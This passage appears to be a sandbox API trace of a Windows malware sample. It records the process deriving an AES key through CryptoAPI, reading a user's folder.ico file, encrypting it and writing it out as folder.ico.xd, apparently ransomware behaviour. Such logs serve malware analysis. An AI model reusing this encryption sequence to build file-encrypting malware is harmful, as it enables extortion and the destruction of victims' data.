lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16216c0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0072.501] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0072.501] CryptHashData (hHash=0x164c3f0, pbData=0x16294d0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0072.501] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.501] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.502] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.502] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.502] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.502] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.502] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.502] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0072.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16218d0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0072.504] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0072.504] CryptDeriveKey (in: hProv=0x17aa670, Algid=0x6610, hBaseData=0x164c3f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c8f0) returned 1 [0072.504] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.504] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.504] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.504] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.504] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.504] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.504] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0072.504] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0072.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0072.505] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0072.505] CryptDestroyHash (hHash=0x164c3f0) returned 1 [0072.505] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.505] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.505] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.505] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.505] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.505] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0072.506] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.506] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0072.506] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.506] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.506] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.506] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\_private")) returned 0x12 [0072.507] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\_private\\folder.ico.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0072.508] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.508] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.508] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.508] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.510] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0072.510] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x74e6, lpOverlapped=0x0) returned 1 [0072.529] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0072.531] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.531] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.531] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.531] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0072.532] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.532] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.532] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0072.532] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.532] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0072.532] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.532] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.532] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.532] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0072.532] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0072.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0072.533] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0072.533] CryptGetKeyParam (in: hKey=0x164c8f0, dwParam=0x7, pbData=0x1629460, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629460*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0072.533] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.533] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.533] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.533] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.533] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.533] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.533] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.533] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.533] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.533] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.533] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.533] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.533] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.533] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.533] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.533] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.533] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.533] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.534] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.534] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.534] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.534] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.534] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.534] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.534] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0072.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16217e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0072.534] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0072.535] CryptEncrypt (in: hKey=0x164c8f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x74e6, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x74f0) returned 1 [0072.537] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.537] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.537] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.537] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.537] CharLowerBuffW (in: lpsz="byte[29937]", cchLength=0xb | out: lpsz="byte[29937]") returned 0xb [0072.537] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.538] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.538] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.538] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.538] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0072.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0072.539] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0072.539] CryptEncrypt (in: hKey=0x164c8f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17ef500*, pdwDataLen=0x130e618*=0x74e6, dwBufLen=0x74f0 | out: pbData=0x17ef500*, pdwDataLen=0x130e618*=0x74f0) returned 1 [0072.539] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.539] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.539] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.539] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.539] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.539] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.539] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.539] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.539] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.539] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.539] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.539] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.539] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.539] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.540] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.540] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.540] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.543] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 1 [0072.543] TranslateMessage (lpMsg=0x130f164) returned 0 [0072.543] DispatchMessageW (lpMsg=0x130f164) returned 0x0 [0072.543] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e7c8) returned 1 [0072.547] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0072.547] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0072.547] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.547] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.547] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.547] WriteFile (in: hFile=0x3bc, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x74f0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x74f0, lpOverlapped=0x0) returned 1 [0072.549] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.549] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.549] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0072.549] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.549] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.549] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0072.549] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0072.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621420, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0072.549] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0072.549] CryptDestroyKey (hKey=0x164c8f0) returned 1 [0072.549] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.549] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.550] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.550] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.550] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.550] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0072.550] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0072.550] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, 